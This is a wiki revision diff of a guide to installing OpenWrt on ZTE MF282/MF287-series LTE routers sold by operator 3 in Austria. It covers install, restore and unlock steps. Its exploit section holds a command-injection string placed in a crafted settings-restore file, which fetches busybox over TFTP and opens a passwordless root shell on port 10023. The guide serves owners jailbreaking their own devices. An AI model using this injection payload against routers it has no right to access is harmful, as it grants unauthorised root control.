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--- projects:zte_mf28x [2023/08/08 12:49] – Andreas Böhler
+++ projects:zte_mf28x [2024/03/10 20:19] (current) – Andreas Böhler
@@ Line 1: / Line 1: @@
 ~~NOTOC~~
-====== OpenWrt on the ZTE MF282/MF287+ (DreiTube/HuiTube and DreiNeo) ======
+====== OpenWrt on the ZTE MF282/MF282+/MF287/MF287+/MF287Pro (DreiTube/HuiTube and DreiNeo) ======
-The ZTE MF282 aka 3 HuiTube / DreiTube and the ZTE MF287+ aka DreiNeo are both routers with integrated LTE modem, made exclusively for the network operator 3 in Austria. I ported OpenWrt to both devices and found an easy-to-use unlocking method for both devices.
+The ZTE MF282 aka 3 HuiTube / DreiTube and the ZTE MF287 series aka DreiNeo are both routers with integrated LTE modem, made exclusively for the network operator 3 in Austria. I ported OpenWrt to all devices of these series and found an easy-to-use unlocking method for them (with the exception of the MF282+).
 <WRAP round important 80%>
 Everything you do according to these instructions, you do on your own risk!
-If you came here only for carrier unlock, you will still need to run OpenWrt for performing the unlock. Once unlocked, you can restore back to stock.
 </WRAP>
-=== What about the 3Neo Router? ===
+The following models are supported by OpenWrt 23.05 and onwards:
-There is an older version called "3Neo" which has an older modem. It is supported by the same software, all instructions apply.
-=== What about the MF287 Pro? ===
+  * MF282
+  * MF287
+  * MF287+
+  * MF287Pro
-The MF287 Pro is work in progress. The hardware has changed quite a bit, but an OpenWrt port is in progress. Unlocking instructions are tested and working as on the MF287+.
+The only model that will not be backported is the MF282+ aka DreiTube.
 ===== ZTE MF282 =====
-The MF282 is supported by OpenWrt 23.x onwards. In order to install it, you need to disassemble the device, attach serial console and perform a few commands in the UART shell.
+The MF282 is supported by OpenWrt 23.05 onwards. In order to install it, you need to disassemble the device, attach serial console and perform a few commands in the UART shell.
 <WRAP round important 80%>
@@ Line 28: / Line 27: @@
 See the git commit at https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=590d1fd0e636f627bbfeb988909ec36cc5450a3b for installation instructions.
-===== ZTE MF287+ =====
+===== ZTE MF282+ =====
-The newer MF287+ is more powerful than the MF282 and features four Gigabit-ports, a quad-core CPU and a CAT12 LTE modem. Since it can be had for less than €10,- used, it is a bargain!
+This device has a completely different hardware. An OpenWrt port is available, but this device is not supported by OpenWrt 23.05. The modem is not Qualcomm-based but uses a Marvell PXA1827 module.
+The MF282+ can be identified by the model type "DreiTube" on the bottom. It is IPQ4019 based (so quite powerful) and most instructions of the MF287 series applies, including exploits and installation instructions.
+===== ZTE MF287 =====
+The newer MF287 series is more powerful than the MF282 and features four Gigabit-ports, a quad-core CPU and a CAT12 LTE modem. Since it can be had for less than €10,- used, it is a bargain!
+OpenWrt supports all models from 23.05 onwards.
 ==== Option 1: Install from OEM firmware ====
 You need an exploit to get access to the stock firmware. Prepare the following:
-  * TFTP server - tftpd-hpa on Linux is tested, but tftpd32 should work as well
+  * TFTP server - tftpd-hpa on Linux is tested, and tftpd64 on Windows is known to work
   * Static build of busybox for ARM, e.g. from https://busybox.net/downloads/binaries/1.21.1/ (Pick ARMV7 version)
   * Rename busybox to "telnetd" and put it to your TFTP root directory
@@ Line 47: / Line 52: @@
   - Log in to the web interface of your router, go to settings restore and use the file "exploit.dat" as the file to restore. Accept the message that the router is going to be restarted - don't worry, it won't restart.
   - Watch your TFTP server serving the file "telnetd"
-  - Use a Telnet client and connect to 192.168.0.1
+  - Use a Telnet client and connect to 192.168.0.1 on port 10023
-  - Login as user "admin" and password "admin"
+  - You should be logged-in immediately, no need for a password
   - Execute the following commands to take a backup and to install OpenWrt (NB: Instead of using tftp, you should also be able to use ''%%scp%%'' from the router):
+<WRAP round important 80%>
+For the MF287Pro, you need to replace ''%%mtd13%%'' with ''%%mtd17%%'' and ''%%mtdblock13%%'' with ''%%mtdblock17%%''!
+</WRAP>
+<WRAP round important 80%>
+Please double-check the partition number by running ''%%cat /proc/mtd%%'' and looking for the line named ''%%rootfs%%''. Use this mtd number.
+</WRAP>
 <code>
 cd /tmp
@@ Line 88: / Line 102: @@
 Make sure to take a backup of your partitions. There is no firmware download available.
 </WRAP>
-There is a pending PR for adding OpenWrt support to this device. Before it is accepted, you need to build from my personal github at https://github.com/andyboeh/openwrt/tree/zte_mf287plus
 ==== Restore stock ====
@@ Line 95: / Line 107: @@
 You need the two files ubi0_0 and ubi0_1 you downloaded during the installation of OpenWrt. If you are already running OpenWrt, you need to flash an initramfs version first - for this, simply install the -recovery.bin version using sysupgrade as usual.
-Once rebooted, transfer the files ubi0_0 and ubi0_1 to your router to /tmp. Then, run the following commands to restore back to stock - the "ls" command is used to get the sizes of kernel and rootfs. Replace $kernel_length by the value you got for ubi0_0 and $rootfs_size by the value you got for ubi0_1.
+Once rebooted, transfer the files ubi0_0 and ubi0_1 to your router to /tmp. Then, run the following commands to restore back to stock - the "ls" command is used to get the sizes of kernel and rootfs. Replace ''%%$kernel_length%%'' by the value you got for ubi0_0 and ''%%$rootfs_size%%'' by the value you got for ubi0_1.
+<WRAP round important 80%>
+Please double-check the partition number by running ''%%cat /proc/mtd%%'' and looking for the line named ''%%rootfs%%''. Use this mtd number. For the MF287Pro, this should be ''%%ubiattach -m 14%%'' with ''%%ubiattach -m 17%%''.
+</WRAP>
 <code>
@@ Line 119: / Line 135: @@
 The required software is an open source utility to interact with Qualcomm modem chipsets, available at https://github.com/forth32/qtools
+<WRAP round important 80%>
+Unlocking does not work on the MF282+ aka DreiTube! The LTE module uses a completely different hardware architecture.
+</WRAP>
 ===== Procedure =====
@@ Line 136: / Line 156: @@
 setenv serverip 192.168.1.100
 setenv ipaddr 192.168.1.1
-tftpboot 0x82000000 openwrt.bin
+tftpboot openwrt.bin
-bootm 0x82000000
+bootm
 </code>
   * After a few minutes, OpenWrt has started
@@ Line 184: / Line 204: @@
 Should you require more details for any of the steps provided, please have a look at the excellent documentation in the OpenWrt Wiki at https://openwrt.org. If you're still not getting along, then this procedure is not for you.
-===== Exploit MF287+ in detail =====
+===== Exploit MF287 in detail =====
-The settings file of the MF287+ is obfuscated and encrypted. Fortunately, the algorithm isn't very complicated and could be easily decompiled using Ghidra. The following Python script creates the "exploit.dat" file as linked to above:
+The settings file of the MF287 is obfuscated and encrypted. Fortunately, the algorithm isn't very complicated and could be easily decompiled using Ghidra. The following Python script creates the "exploit.dat" file as linked to above:
 <code python [enable_line_numbers="true"]>
@@ Line 211: / Line 231: @@
             return False
-        exploit = ";zte_debug.sh 192.168.0.22 telnetd; sleep 3600\n"
+        exploit = ";zte_debug.sh 192.168.0.22 telnetd; /tmp/telnetd -l /bin/sh -p 10023; sleep 3600\n"           out = bytearray()
-        out = bytearray()
         for char in exploit:
             if char != '\n' or char != '\t' or char != '\0':